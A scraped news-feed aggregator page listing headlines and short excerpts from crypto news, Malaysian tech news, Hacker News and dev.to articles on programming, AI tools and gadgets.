    The Philippines has a $60 billion opportunity in asset tokenization, potentially transforming its capital markets by 2030.
    Bitcoin Rebounds Past $91K as XRP ETFs Continue to Grab Attention
    Total XRP ETF assets crossed $628 million, absorbing nearly 80 million tokens in 24 hours, making for a stronger initial response than Solana’s ETF debut earlier this year.
    DOGE Builds Bullish Structure With Higher Lows as ETFs Fail to Wow
    Technical analysis shows DOGE breaking above resistance with a significant volume surge, indicating bullish momentum.
    XRP Prints V-Shaped Recovery as ETF Catalysts Align With Technicals
    Technical indicators suggest strong momentum, with XRP trading in an ascending broadening wedge and targeting further gains if it remains above key support levels.
    Korea's Upbit Suspends Deposit And Withdrawal Service After Abnormal Activity in Solana Tokens
    Upbit has suspended digital asset withdrawals after detecting irregular activity involving Solana network tokens.
    Bitcoin's Ascent May Hit a Wall Around Mid-$90K: Trading Firm
    Bitcoin has surged past the $90,000 mark, buoyed by rising expectations of a December Federal Reserve rate cut.
    Asia Morning Briefing: Bitcoin's Fragile Rally is Built on Shrinking Liquidity
    Large holder deposits have hit exchanges and realized losses are climbing, according to CryptoQuant and Glassnode, indicating the market’s rally is being built on thin liquidity.
  • Open

    The Download: the fossil fuel elephant in the room, and better tests for endometriosis
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. This year’s UN climate talks avoided fossil fuels, again Over the past few weeks in Belem, Brazil, attendees of this year’s UN climate talks dealt with oppressive heat and flooding, and at one…  ( 21 min )
    This year’s UN climate talks avoided fossil fuels, again
    If we didn’t have pictures and videos, I almost wouldn’t believe the imagery that came out of this year’s UN climate talks. Over the past few weeks in Belem, Brazil, attendees dealt with oppressive heat and flooding, and at one point a literal fire broke out, delaying negotiations. The symbolism was almost too much to…  ( 21 min )
    Moving toward LessOps with VMware-to-cloud migrations
    Today’s IT leaders face competing mandates to do more (“make us an ‘AI-first’ enterprise—yesterday”) with less (“no new hires for at least the next six months”). VMware has become a focal point of these dueling directives. It remains central to enterprise IT, with 80% of organizations using VMware infrastructure products. But shifting licensing models are…  ( 17 min )
  • Open

    Malaysia’s Next-Gen MyKad To Come With QR Code Feature
    Malaysia will begin issuing new identity cards (ICs) starting June 2026, marking the next major refresh of the MyKad system. The upcoming version introduces enhanced security measures, including a dedicated QR code designed to help authorities digitally verify card authenticity on the spot. Deputy Home Minister Datuk Seri Shamsul Anuar Nasarah announced the upgrade during […] The post Malaysia’s Next-Gen MyKad To Come With QR Code Feature appeared first on Lowyat.NET.  ( 34 min )
    Lexus Malaysia Teases 2024 Model Of GX SUV
    Lexus Malaysia recently released a teaser on its social media channels, hinting at the impending arrival of the 2024 GX on our shores. First unveiled globally in June 2023, the third-generation GX sits between the LX and RX in the brand’s SUV hierarchy and is built on the GA-F body-on-frame platform shared with the larger […] The post Lexus Malaysia Teases 2024 Model Of GX SUV appeared first on Lowyat.NET.  ( 34 min )
    GXBank Celebrates Second Anniversary With 4.00% p.a. Bonus Pocket Promo
    GXBank is kicking off its second anniversary with a new campaign that offers customers the chance to earn up to 4.00% p.a. through its Bonus Pocket feature. The promotion, which begins today, applies to savings of up to RM50,000 placed in a Bonus Pocket and rewards users with both daily base interest and an additional […] The post GXBank Celebrates Second Anniversary With 4.00% p.a. Bonus Pocket Promo appeared first on Lowyat.NET.  ( 34 min )
    Aurzen ZIP Tri-Fold Projector Will Be Available In Malaysia For RM1,899
    Aurzen, the UK-based projector brand, is officially bringing its ZIP portable projector to Malaysia. The product, which made its debut during CES 2025 earlier this year, is the world’s first tri-fold pocket projector, at least according to the brand. Through the use of a tri-fold design, the Aurzen ZIP measures in at 8.4 x 7.8 […] The post Aurzen ZIP Tri-Fold Projector Will Be Available In Malaysia For RM1,899 appeared first on Lowyat.NET.  ( 34 min )
    2026 Proton Saga Has Officially Arrived; Starts From RM38,990
    The national automaker, Proton, has officially launched the new 2026 Saga with a starting price of RM38,990. As reported earlier, the sedan is offered in three variants: Standard, Executive and Premium. Design-wise, the front end features LED projector headlamps paired with L-shaped daytime running lights (DRLs). These flank a full-width concave grille embellished with a […] The post 2026 Proton Saga Has Officially Arrived; Starts From RM38,990 appeared first on Lowyat.NET.  ( 38 min )
    HONOR Magic8 Pro Hands On: A Bit Of An Acquired Taste
    The HONOR Magic8 Pro serves as the brand’s newest flagship phone, succeeding the Magic7 Pro launched back in January. Ahead of its local debut, the company has given us the opportunity to get acquainted with the device. The model in my hands is the Sunrise Gold version, although the smartphone also comes in Sky Cyan […] The post HONOR Magic8 Pro Hands On: A Bit Of An Acquired Taste appeared first on Lowyat.NET.  ( 41 min )
    Honor Magic8 Pro Officially Launches In Malaysia; Retails From RM4,599
    As previously reported, Honor is officially launching the Magic8 Pro today. In addition to the launch, the brand is also bundling an Insta360 Ace Pro action camera with every purchase of the phone, while stocks last. Running through the specs, the Magic8 Pro features a 6.71-inch LTPO OLED display, with a peak brightness of 6,000 […] The post Honor Magic8 Pro Officially Launches In Malaysia; Retails From RM4,599 appeared first on Lowyat.NET.  ( 35 min )
    Samsung Officially Brings 115-Inch QN90F Neo QLED TV To Malaysia
    Samsung Malaysia officially unveiled the QN90F today, marking the official arrival of the massive TV to our shores. And by massive, it measures in at 115-inches across the wall. Now, the QN90F does ship out with an 8K panel, but the model that was on display was only 4K. To that end, this model is […] The post Samsung Officially Brings 115-Inch QN90F Neo QLED TV To Malaysia appeared first on Lowyat.NET.  ( 34 min )
    China Reportedly Bans ByteDance From Using NVIDIA Chips
    Chinese regulators have barred ByteDance from using NVIDIA chips in new data centres, according to a report by The Information. This ban highlights the nation’s push to move away from relying on US technology. Such efforts have intensified following the US government’s move to tighten restrictions on exports to China. Compared to other Chinese companies, […] The post China Reportedly Bans ByteDance From Using NVIDIA Chips appeared first on Lowyat.NET.  ( 33 min )
    iCAUR V23 Officially Launches In Malaysia; Starts From RM119,800
    iCAUR Malaysia has officially introduced its second model, the V23, to the local market. First previewed in October, the fully electric off-road SUV will be available in two variants: a rear-wheel-drive (2WD) and an intelligent all-wheel-drive (iWD). Design-wise, the V23 features a bold, upright stance and a boxy profile. The front end is defined by […] The post iCAUR V23 Officially Launches In Malaysia; Starts From RM119,800 appeared first on Lowyat.NET.  ( 38 min )
    WhatsApp To Ban Third-Party AI Chatbots From January 2026
    WhatsApp has confirmed a major policy shift that will block the use of any non-Meta AI chatbot inside the messaging app starting 15 January 2026. The updated terms of service explicitly prohibit third-party AI assistants, meaning users will no longer be able to access ChatGPT, Microsoft Copilot or similar services through WhatsApp once the cutoff […] The post WhatsApp To Ban Third-Party AI Chatbots From January 2026 appeared first on Lowyat.NET.  ( 34 min )
    Sarawak To Become Regional Animation And Gaming Hub With New Festival
    Sarawak is poised to draw the attention of the regional animation and digital gaming industry next year. In this coming August, the state will be hosting the Borneo Animation and Gaming Festival (BAGF). According to Digital Minister Gobind Singh Deo, Sarawak Premier Tan Sri Abang Johari Tun Openg has agreed to the establishment of a […] The post Sarawak To Become Regional Animation And Gaming Hub With New Festival appeared first on Lowyat.NET.  ( 33 min )
    Fan Project Turns A Classic Nike Sneaker Into A Fully Working Super Nintendo Console
    Footwear and video gaming collaborations are nothing new. The results of these tie-ins are often incredible, while others are… questionable. But for Singapore-based designer Gustavo Bonzanini, he has decided to take this combination of popular culture to an entirely new level. Enter the AIR SNES, a passion project by Bonzanini to celebrate the 35th anniversary […] The post Fan Project Turns A Classic Nike Sneaker Into A Fully Working Super Nintendo Console appeared first on Lowyat.NET.  ( 34 min )
  • Open

    Integration tips for web3j-maven-plugin in Java projects
    As part of my participation in the Web3j Libraries Full Development Lifecycle project under the LF Decentralized Trust Mentorship Program, I’ve developed a tutorial on integrating the web3j-maven-plugin into Java projects. This work contributes to improving the developer experience within the Web3j ecosystem by  ( 4 min )

  • Open

    Tesla's European sales tumble nearly 50% in October
    Comments  ( 153 min )
    Sutskever and LeCun: Scaling LLMs Won't Yield More Useful Results
    Comments  ( 10 min )
    C100 Developer Terminal
    Comments  ( 1 min )
    Running Unsupported iOS on Deprecated Devices
    Comments  ( 6 min )
    Engineers repurpose a mosquito proboscis to create a 3D printing nozzle
    Comments  ( 10 min )
    Bring Bathroom Doors Back to Hotels
    Comments  ( 7 min )
    Why Strong Consistency?
    Comments  ( 5 min )
    EU approves Chat Control policy
    Comments  ( 109 min )
    David Lerner, cofounder of Tekserve, has died
    Comments
    The EU made Apple adopt new Wi-Fi standards, and now Android can support AirDrop
    Comments  ( 9 min )
    AirDrop support for Pixel 10 likely exists because of the EU ruling
    Comments  ( 10 min )
    Show HN: A "Cram tests" script for windows shells
    Comments  ( 6 min )
    Why 90s Movies Feel More Alive Than Anything on Netflix
    Comments  ( 6 min )
    Inspired by Spider-Man, scientists recreate web-slinging technology
    Comments  ( 16 min )
    Crews Claim Boring Company Failed to Pay Workers and Snubbed OSHA Concerns
    Comments  ( 24 min )
    The most male and female reasons to end up hospital
    Comments
    S&box is now an open source game engine
    Comments
    Don't Download Apps
    Comments  ( 3 min )
    We've Detected Lightning on Mars
    Comments  ( 14 min )
    Alan.app – Add a Border to macOS Active Window
    Comments  ( 3 min )
    API that auto-routes to the cheapest AI provider (OpenAI/Anthropic/Gemini)
    Comments  ( 7 min )
    Fara-7B by Microsoft: An agentic small language model designed for computer use
    Comments  ( 24 min )
    I made maps that show time instead of space [video]
    Comments
    Load ZX Spectrum – first Museum dedicated to our first personal computer
    Comments  ( 25 min )
    China Has Three Reusable Rockets Ready for Their Debut Flights
    Comments  ( 11 min )
    Gemini CLI Tips and Tricks for Agentic Coding
    Comments  ( 142 min )
    Rare X-ray images of a 4.5-ton satellite that returned intact from space
    Comments
    Scaleway turns Mac minis into high‑density, Raspberry Pi–managed servers
    Comments  ( 27 min )
    DRAM prices are spiking, but I don't trust the industry's why
    Comments  ( 21 min )
    Optery (YC W22) Hiring CISO, Release Manager, Tech Lead (Node), Full Stack Eng
    Comments  ( 7 min )
    A Vibe Coded SaaS Killed My Team
    Comments  ( 4 min )
    Drawing with Chaos
    Comments  ( 5 min )
    Cloudflare outage should not have happened
    Comments  ( 3 min )
    Slop Detective – Fight the Slop Syndicate
    Comments
    Slashdot Effect
    Comments
    Stop Hacklore (modern urban legends about digital safety)
    Comments  ( 8 min )
    From blood sugar to brain relief: GLP-1 therapy slashes migraine frequency
    Comments
    Show HN: Fixing Google Nano Banana Pixel Art with Rust
    Comments  ( 7 min )
    KDE Plasma 6.8 Will Go Wayland-Exclusive in Dropping X11 Session Support
    Comments  ( 7 min )
    Feedback doesn't scale
    Comments  ( 5 min )
    MIT study finds AI can replace 11.7% of U.S. workforce
    Comments  ( 91 min )
    The Writing Is on the Wall for Handwriting Recognition
    Comments  ( 10 min )
    OpenAI needs to raise at least $207B by 2030 so it can continue to lose money
    Comments  ( 6 min )
    Compressed filesystems à la language models
    Comments  ( 7 min )
    Solving the Partridge Packing Problem Using MiniZinc
    Comments  ( 22 min )
    Justice dept. requires Realpage end sharing competitively sensitive information
    Comments  ( 4 min )
    There may not be a safe off-ramp for some taking GLP-1 drugs, study suggests
    Comments  ( 8 min )
    Voyager 1 Is About to Reach One Light-Day from Earth
    Comments  ( 15 min )
    I DM'd a Korean Presidential Candidate and Ended Up Building His Core Campaign
    Comments
    Memories of .us
    Comments  ( 13 min )
    Post-mortem of Shai-Hulud attack on November 24th, 2025
    Comments  ( 39 min )
    Indie game developers have a new sales pitch: being 'AI free'
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  • Open

    Hexagonal Architecture: Simple Introduction + Real-World Example
    Hexagonal Architecture is very popular these days. However, I have seen that a lot of the resources out there that try to teach it do so in a very abstract and technical way. While that is great for understanding all the details, it makes for a poor introduction. So, in this article, I would like to address this issue. I would like to make a simple and straightforward introduction to HA (Hexagonal Architecture) and give you some other resources for further learning, including a public repo that applies HA that I created for this article. So let's begin! Hexagonal Architecture is a design paradigm that focuses on separating the core of the application from everything else and specifying rules on how these two parts should interact. The core of the app is the business logic. All the things t…  ( 8 min )
    The Semantic Object Factory — The Missing Layer Between AI Intent and Backend Meaning
    Semantic Object Factory: The Missing Layer That Aligns AI Intent With Backend Semantics Author: bnggbn For the last two articles, we established two major ideas: IRP — the backend defines semantics; the frontend normalizes them. The frontend is now the semantic boundary, not just a UI renderer. If you missed the first part, IRP established that: the backend defines semantics, and the frontend must normalize them. Today, we address the hard question of how the frontend achieves this normalization. But a critical question emerges: Where do “semantics” actually come from? And how do clients normalize messy AI/human intent into them? Enter one of the most important missing layers in modern system design: This article introduces the concept — not tied to any language, framework, or schema …  ( 8 min )
    UT Registration Plus: An Overview
    Background Around 2023/2024, my friends and I began working on an overhaul of the UT Registration Plus extension, which had already been in the university ecosystem for years prior thanks to Sriram Hariharan, and today it has over 60,000 active users on campus! Check it out here: https://github.com/Longhorn-Developers/UT-Registration-Plus A biannual event students know all to well. It’s a process everyone knows, waking up early to catch your access window, refreshing the page again and again, rushing to copy/paste unique numbers, hoping your gen-ed or major-req courses don’t get snatched by hundreds (or thousands) of other Longhorns before you even blink. Students describe registration as chaotic, time-consuming, and often “a free-for-all” where missing a second can cost you a seat. Bec…  ( 7 min )
    Introducing Remote MCP aka MCP Tool Triggers in Azure Functions: Building Intelligent AI Assistants in the Cloud
    Introduction The workflow for an agentic app starts when the user interacts with it by presenting a prompt through a chat interface or form. The agent gets this prompt and analyzes it as to what the user intends and requires. It can take the help of LLM to acquire tasks, clarify the details, and break the whole into subtasks. As soon as the agent has a clear understanding of the target, it selects the most appropriate specialized tools or services to achieve the goal. These bring APIs, databases, generative AI (for writing, image generation, etc.), or other partnered systems, and the agent might arrange or put together multiple tool actions dependent on the difficulty of the job. The agent continually assesses and alters, carrying out the tool calls again and asking for more clarificatio…  ( 11 min )
    The Future Belongs to System Thinkers
    Exceptional developers design systems, optimize for performance, and use AI to operate at 10x efficiency. Because code is just a tool. In 2025, the developers who win are the ones who: Write smarter. Ship faster. Think bigger.  ( 6 min )
    If You’re Not All-in on Databricks: Why Metadata Freedom Matters
    Stop and consider your data architecture right now. You are likely grappling with these challenges: 1. Are you facing vendor lock-in and prohibitive costs? 2. Is fragmented metadata wasting your engineering resources? 3. Are your BI systems failing your AI strategy? These three questions directly point to the core friction points stemming from metadata constraints, which are crippling modern data teams: Vendor Lock-in Risk: Fragmentation & Operational Complexity: Multimodal Data Silos: The reality is, the modern data stack is facing a “fragmentation crisis.” Your metadata, which should be the bridge for unified governance, has instead become the primary casualty of this fragmentation. We acknowledge that platform-specific solutions like Databricks Unity Catalog (UC) deliver a smooth exper…  ( 10 min )
    Breaking Free from Single Inheritance Chains With JavaScript Mixins
    JavaScript's prototype chain has a limitation: you can only inherit from one parent class. But what if you want your Dragon class to both Fly and BreatheFire? Or your SmartPhone to be both a Camera and a MusicPlayer? Enter mixins – your secret weapon for composing powerful, reusable behaviors. In JavaScript, this is perfectly valid: class Animal { move() { console.log("Moving..."); } } class Dog extends Animal { bark() { console.log("Woof!"); } } But what if we want Dog to also inherit from a Swimmer class? JavaScript says "no way." We're stuck with a single inheritance chain, which can feel restrictive when building complex applications. A mixin is a class or object that provides methods to other classes without being a parent class itself. Think of mixins as ingredients you can ble…  ( 9 min )
    Why I Switched to a Feature-Based Folder Structure (And Why You Should Too)
    As projects grow, the architecture often becomes the silent bottleneck. Recently, I refactored one of my projects by shifting from a traditional file-type folder structure to a feature-based architecture, and the difference has been significant. In this post, I’ll walk through why I made the switch, how I structured it, and what benefits I gained. Hopefully, this helps you decide if it’s the right move for your project, too. Most React or frontend projects start with something like: src/ components/ hooks/ utils/ pages/ context/ styles/ This works… until it doesn’t. As your project grows, you start jumping between folders just to work on a single feature. A simple update may require touching multiple directories. Files become harder to discover, boundaries blur, and the struct…  ( 7 min )
    SMTP Zen - Reliable, High Deliverability email service for developers
    I built a tool for devs who are tired of babysitting SMTP and deliverability every time they ship a new app or spin up a small SaaS: SMTP Zen. It’s a transactional email + standard mailbox service aimed at developers, freelancers and domain investors who just want stuff to land in the inbox and move on with their lives. What it does: Unlimited domains & mailboxes – No “seats”. Add as many domains/mailboxes as you need and forget about artificial limits. SMTP that actually lands – Guided SPF/DKIM/DMARC setup and enforced TLS so you don’t have to become an email wizard to stay out of spam. Simple sending & forwarding – Custom domains, per-client aliases and mailbox-free forwarders. Great for spinning up project/client addresses in seconds. Real-time logs – Full send/receive paths and errors for every message so debugging deliverability isn’t a guessing game. Zero-downtime IMAP migration – IMAP sync with automatic delta sync, so you can move existing mailboxes without scary cutovers. Usable webmail & dashboard – Fast webmail (Crossbox) with unified inbox, calendar and contacts, plus a clean panel for domains, DNS, mailboxes, forwarders, logs and billing. As a launch promo I set up a 20% off coupon (valid until Dec 31): ZENLAUNCH If you’re curious or want to tear it apart, you can check it out here: SMTP Zen  ( 6 min )
    I Built a Game in Less Than a Day (Without Writing a Single Line of Code)
    We’ve all had those fuzzy ideas: “Wouldn’t it be fun to make a simple swipe-or-click game?” Usually, that thought dies somewhere between opening a blank repo and realizing you don’t have art, sound, or time. This time, I didn’t let it die. I opened up Gemini Studio AI (free version, nothing paid) and threw in a prompt: “I want to develop a simple yet relatable and fun game. Fuzzy concept is mobile swipe or click type game.” And off we went. The first draft was rough — ugly, basic, but it worked. I played for a few minutes, scribbled notes in the chat box, refined my prompt, and waited. Rinse, repeat. That loop was surprisingly engaging. Instead of grinding through code, I was iterating on ideas. Things that would normally take me a week were happening in two minutes. I sketched out…  ( 7 min )
    Python for Absolute Beginners: A Complete, Practical Guide Before You Even Start Coding
    Python for Absolute Beginners A Complete, Practical Guide Before You Even Start Coding Most people start learning Python by copying short snippets like: print("Hello, world!") They run the code, see the output, feel good, and… they learn nothing. Real learning happens when you understand the foundations behind the syntax — the concepts that turn a beginner into a real programmer. This guide does exactly that: it builds your foundations through clear explanations and practical examples, including a real micro-project you can extend. Is (and Why It Matters) Python is: high-level → you focus on ideas, not memory interpreted → runs code line-by-line dynamically typed → no type declarations general purpose → used by AI, web dev, automation, analytics, DevOps The design…  ( 9 min )
    React vs. Vue.js: The 2025 Developer’s Guide to Performance, Ecosystem, and Scalability
    React vs. Vue.js: The 2025 Developer’s Guide to Performance, Ecosystem, and Scalability In the fast-paced world of web development, selecting the right JavaScript framework can make or break your project’s success. React and Vue.js remain two of the most popular choices, each offering unique strengths for building responsive, scalable, and maintainable applications. This comprehensive guide compares React and Vue.js through the lens of performance, long-term support, ecosystem maturity, and developer experience, empowering you to make informed decisions for your next project. With real-world code examples, performance benchmarks, and insights into 2025’s web development landscape, this post is designed for developers seeking clarity on which framework aligns with their goals. Whether you…  ( 11 min )
    Crypto Wardrobe 2026: How I Tested AI Smart Clothing That Replaced My Wallet
    I'll never forget the moment I realized my wallet was becoming obsolete. I was standing in a busy coffee shop, my hands full with my laptop bag and a dripping umbrella. When it came time to pay, I had to perform an awkward juggling act—balancing everything while fumbling for my wallet, then struggling to tap my phone. The person behind me sighed loudly. That’s when it hit me: why are we still carrying separate devices in 2025? This personal frustration led me down a rabbit hole of research and a unique opportunity to test a prototype that most people think is science fiction. By 2026, your clothing won't just be smart—it will be your wallet, your ID, and your digital identity. Here’s what I learned from a week of living in the future. The Prototype That Changed Everything The lining felt l…  ( 11 min )
    When Mastery Gets Flagged: AI Detectors, False Positives, and the Inversion of Trust
    In 1776, Thomas Jefferson drafted the Declaration of Independence. In 2025, AI detectors flagged it as 99% machine-written. That’s not a metaphor. That’s a documented failure. ZeroGPT and OpenAI’s own detection tools labeled the Declaration—a document written nearly 250 years before large language models existed—as AI-generated. Not borderline. Not “maybe.” But with 97–99% confidence. And it’s not just the Declaration. The 1836 Texas Declaration of Independence? 86.54% AI. The U.S. Constitution? AI. The Book of Genesis? AI. These tools don’t know what a human is. They don’t know what a machine is. They only know statistical patterns—and they’ve been trained on the very tradition of excellent human writing they now penalize. I’ve Lived This I’ve published six cybersecurity books. I’ve spent…  ( 7 min )
    How to Integrate Wallet-as-a-Service Into Your App: A Developer-Friendly Guide
    Integrating blockchain into modern apps no longer requires building a wallet system from scratch, Wallet-as-a-Service provides ready-made key management, address generation, multi-chain transactions, and secure signing through simple APIs or SDKs. For fintech, payment apps, Web3 platforms, exchanges, and marketplaces, WaaS dramatically cuts development time, removes the need for cryptography expertise, and delivers enterprise-grade security without maintaining a full wallet backend. What WaaS Is — In Technical Terms From a developer’s perspective, WaaS is a cloud-hosted, programmatic wallet layer that abstracts private-key creation, safe storage, multisig/MPC logic, blockchain interaction, transaction building, fee estimation, and broadcasting. The provider handles encryption, key isolatio…  ( 8 min )
    2 options to install Cursor CLI for Windows (WSL2)
    Hi everyone! In this article I wanna show you 2 options to install and run the cursor CLI on a Windows O.S (both require WSL2 + linux distro like ubuntu) for .NET developers (but you can use it for other stacks as well, just adapt it): Everything including git and repositories within the linux distro (better performance but greater overhead to setup) Just the Cursor CLI within the linux distro (easier, performance overhead just for the Cursor CLI) Here you'll also learn how to setup the terminal within the Visual Studio 2022+ to use the Cursor CLI (or others tools). We won't focus on details like how to setup WSL2 + linux distro, neither install the git, you can google it. I know you can. Note: I'll consider you have the WSL2 already set up! Once you have the linux distro running thr…  ( 7 min )
    Kicking Off 2026: World Cup Predictions & Insights
    As we count down to the December final draw for the 2026 FIFA World Cup, excitement is building around the world. For the first time in tournament history, three countries will share hosting duties: Canada, Mexico, and the United States. With a combined total of 16 host cities, each with its unique charm and infrastructure developments, fans are eager to experience the thrill of live football in these vibrant locations. According to the official FIFA website, the 16 host cities for World Cup 2026 will be: Canada: Toronto (BMO Field), Vancouver (BC Place), Montreal (Olympic Stadium) Mexico: Guadalajara, Mexico City, Puebla United States: Atlanta, Boston, Dallas, Houston, Kansas City, Los Angeles, Miami, New York/New Jersey, Philadelphia, San Francisco Bay Area, Seattle As the host cities ge…  ( 7 min )
    Wallet-as-a-Service: The Missing Layer in Modern Web3 Infrastructure
    If you've ever tried building a Web3 product, you know the pain: the wallet is often the single most complex, expensive, and risky component. Developing your own wallet isn’t a “small module” — it's effectively a standalone product with its own infrastructure, logic, security requirements, and UX challenges: key management, seed phrase handling, secure signing, multi-chain support, device binding, recovery flows, backend maintenance, chain upgrades… it goes on. Handling all that reliably can consume months of development work and a significant portion of your budget. That’s where Wallet-as-a-Service (WaaS) comes in — and why it’s quickly becoming the “Firebase for Web3.” WaaS abstracts away most of the complexity, allowing teams to focus on building product features instead of wrestling wi…  ( 8 min )
    Boost Developer Revenue with Monetzly's AI Conversation API
    What If Your AI App Could Generate Revenue in Two Ways Simultaneously? In the booming landscape of AI applications, developers are confronted with a common challenge: how to monetize their innovations without compromising user experience. What if we told you there’s a way to generate revenue not just from your app but also from hosting relevant advertisements? Enter Monetzly—the first dual-earning platform designed specifically for AI conversations. Imagine your users enjoying a seamless chat experience while you simultaneously earn revenue from their interactions. With Monetzly, you can achieve just that. Our platform allows developers to monetize their AI applications in two distinct ways: directly from app usage and through conversation-native advertising. First Dual-Earning Platform …  ( 7 min )
    SKALDA – privacy-first browser tools that run entirely in your browser
    I’ve started building SKALDA, a multi-brand suite of privacy-first browser tools. Main site: https://skalda.io Most online tools for “small” tasks — converting units, files, images, video, audio, working with PDFs, subtitles, data, and more — force you to upload files, create an account, and accept tracking. SKALDA does the opposite: tools run locally in the browser no logins or user accounts no file uploads to my servers no tracking scripts everything localized into 62+ languages, including RTL What exists today UNITS – https://units.skalda.io Scientific unit converter with: highly customizable Smart Tab on the homepage 500+ units across many categories smart calculators and custom units “Units Museum” timeline + a small interactive game bulk converter that can handle millions of…  ( 7 min )
    I Stopped Fighting My AI How Kiro's agent hooks and steering files fixed my biggest frustration with AI coding tools
    I've been using AI coding assistants for about 8 months now. Cursor, GitHub Copilot, the usual suspects. hey're all impressive, but they share one fatal flaw that's been driving me insane: They forget everything. You explain your project architecture. The AI generates some code. Five minutes later, you're explaining the same architecture again. Every session starts from scratch. Every feature request requires re-explaining your context. I found myself maintaining a text file of prompts to copy-paste at the start of each session: "We use Zustand for state management, not Redux" "All API calls go through our custom fetcher with retry logic" "Components follow the compound component pattern" "Test files go in __tests__ not next to the component" I was spending 10% of my coding time just expl…  ( 11 min )
    Wing It: Cloud CRUD with Winglang
    When it comes to infrastructure as code, tools like Terraform, AWS CDK, and Pulumi immediately come to mind. Although these tools include testing capabilities, they often lack a fully integrated local simulation environment that accurately mimics cloud behavior. This gap can lead to longer, more expensive iteration cycles during development. Winglang addresses this challenge by providing a local simulator that mimics cloud behavior, enabling developers to test their code locally before deploying it to the cloud. Additionally, its simple and intuitive syntax and concept of preflight (static infrastructure code) and inflight (the application logic) code makes it easy for developers to work with cloud resources, regardless of their level of experience. In this post, we'll build a CRUD API usi…  ( 10 min )
    Best Production Management Software for Small Manufacturers in 2025
    Small manufacturers often rely on spreadsheets or disconnected tools, which leads to delays, stock errors, and low visibility. The original article explains why modern production-management software helps reduce mistakes, sync inventory, and provide real-time visibility on the shop floor. Real-time production tracking Automatic inventory and warehouse syncing BOM (Bill of Materials) management with version control Easier planning and fewer human errors Integrations with ecommerce, accounting, and shipping Simple onboarding for small teams Scalable without needing a full ERP Real-time dashboards Inventory automation BOM versioning Easy training Strong integrations (Shopify, QuickBooks, scanners, etc.) Top Recommended Tools (2025) Software Best For Katana Ecommerce-driven and DTC manufacturers MRPeasy Small workshops replacing spreadsheets Odoo Growing teams that need modular ERP flexibility Fishbowl Manufacturing Inventory-heavy and regulated products Prodsmart Real-time shop-floor digitization JobBOSS² Custom make-to-order job shops ERPNext Open-source ERP built for scalability For ecommerce-first workflows → Katana, MRPeasy For scalable ERP features → Odoo, ERPNext For strong warehouse controls → Fishbowl For digitizing paper processes → Prodsmart For custom one-off production → JobBOSS² Final Note The right tool depends on your workflow. Start by identifying your pain points (inventory errors, scheduling, visibility), then test the tools that match your needs. 👉 Read the full article here: https://www.learn-dev-tools.blog/best-production-management-software-for-small-manufacturers/  ( 6 min )
    **Implemente un Monitoreo Transaccional Sostenible con IA/ML
    Implemente un Monitoreo Transaccional Sostenible con IA/ML En la era digital, la prevención del lavado de dinero (PLD) es un desafío constante para los sujetos obligados en México. La Ley Federal de Prevención e Identificación de Operaciones con Recursos de Procedencia Ilícita-LFPIORPI exige una adopción efectiva de medidas preventivas para evitar la participación en operaciones con recursos de procedencia ilícita. En este sentido, la implementación de una plataforma de PLD basada en Inteligencia Artificial (IA) y Machine Learning (ML) puede ser una herramienta clave para asegurar el cumplimiento sostenible y reducir costos. Beneficios de una plataforma de PLD con IA/ML Trazabilidad: una plataforma con IA/ML como TarantulaHawk.ai permite una trazabilidad completa de las operaciones, lo q…  ( 7 min )
    IVVV Stack
    It's not PERN, JAM, LAMP, or MEAN. The IVVV Stack is a simple architecture that is completed entirely on the front-end, consisting of the following components: Indexed DB Vanilla JS Vanilla HTML Vanilla CSS Simple, right? Here's a memo app created using the IVVV stack. Application https://stakiran.github.io/memoapp1/ Repository https://github.com/stakiran/memoapp1 Prompt https://chatgpt.com/share/6926aad9-faf0-8007-bcb8-9e64cd1f86b1 It's quite challenging for modern engineers to develop using vanilla JS, HTML, and CSS. Even for small-scale projects, it's likely not something you'd want to do. Use generative AI. With a decent level of language skills, you can create simple prototypes. By using randomness and asynchronous operations, you can simulate multiple users. Even with just IVVV, you can create something fairly decent.  ( 6 min )
    Building AI-First DevOps: My very personal view on Vibe Coding and Autonomous Development
    The Takeaway / TLDR AI-First DevOps is not just an evolutionary step in software engineering—it’s a revolutionary shift in how we build, scale, and manage digital systems. The companies and teams that thrive won’t be those who simply bolt on AI add-ons, but those who fundamentally reimagine their workflows, culture, and infrastructure from the ground up, trusting in intelligent automation to unlock exponential gains. This moment demands more than tool adoption; it calls for a reinvention of roles, priorities, and even the web itself. The future belongs to those bold enough to embrace the autonomy and partnership AI offers, while building the guardrails and documentation that allow trust to flourish. The real risk isn’t being replaced by AI, but missing the race because you hesitated at …  ( 18 min )
    How to launch your SaaS as an engineer
    Launching a SaaS as an engineer feels exciting and terrifying at the same time. You probably have a brilliant product idea but freeze when it comes to the business side. You've built something amazing in your spare time, maybe solved a problem that's been bugging you for months. The hard part usually isn’t the code — it’s everything around it. The first step is defining the problem in painfully simple language. If you can’t explain what your product does in one sentence to a non‑technical friend, it’s going to be 10x harder to explain it to a potential user. Skip the buzzwords and nail the “who, what, why”: who it’s for, what it does, and why it matters. Next, build the absolute smallest version of the product that still solves the core problem. Not a “tiny version of your big vision,” but…  ( 7 min )
    **Temporal Attention-based Long-Short Term Memory (TALSTM) C
    Temporal Attention-based Long-Short Term Memory (TALSTM) Challenge In this challenge, we'll push the limits of Long Short-Term Memory (LSTM) networks by introducing a novel temporal attention mechanism. Your task is to design, train, and evaluate a TALSTM model that can learn to forecast the trajectory of a dynamic system with multiple, interacting components. Constraints: Multi-modal input: Your model will accept three types of input data: Time-series data (e.g., sensor readings) with 10 features Image data (e.g., camera feeds) with 3 color channels Text data (e.g., system logs) with 5 keywords Dynamic system: The system consists of 5 interacting components, each with its own temporal dynamics. The components are: Component A: Temperature (time-series) Component B: Humidity (time-seri…  ( 7 min )
    Garbage Collection: Young Vs Old generation
    Garbage collection?? Huhh it is just a small topic. wait what???? 😮😮 Then what are these terms 1. The Beginning: Empty Memory Young Generation (Green): Where new objects are born. It's often smaller because most objects die quickly. Old Generation (Blue): Where objects that have proven to live a long time go. This area is typically larger. Young generation structure: Eden Space: Where all new objects initially go. Survivor Space 1 (S1): Objects surviving an Eden collection are moved here. Survivor Space 2 (S2): Objects are moved between S1 and S2 in subsequent collections. Collection Type: The GC event that collects this area is called a Minor GC. Process: When Eden fills up, a Minor GC is triggered. Objects that are still reachable (in use) in Eden and the active Survivor space are …  ( 7 min )
    Stop Wrestling with React Icons - Meet Iconx: Your New Icon Workflow
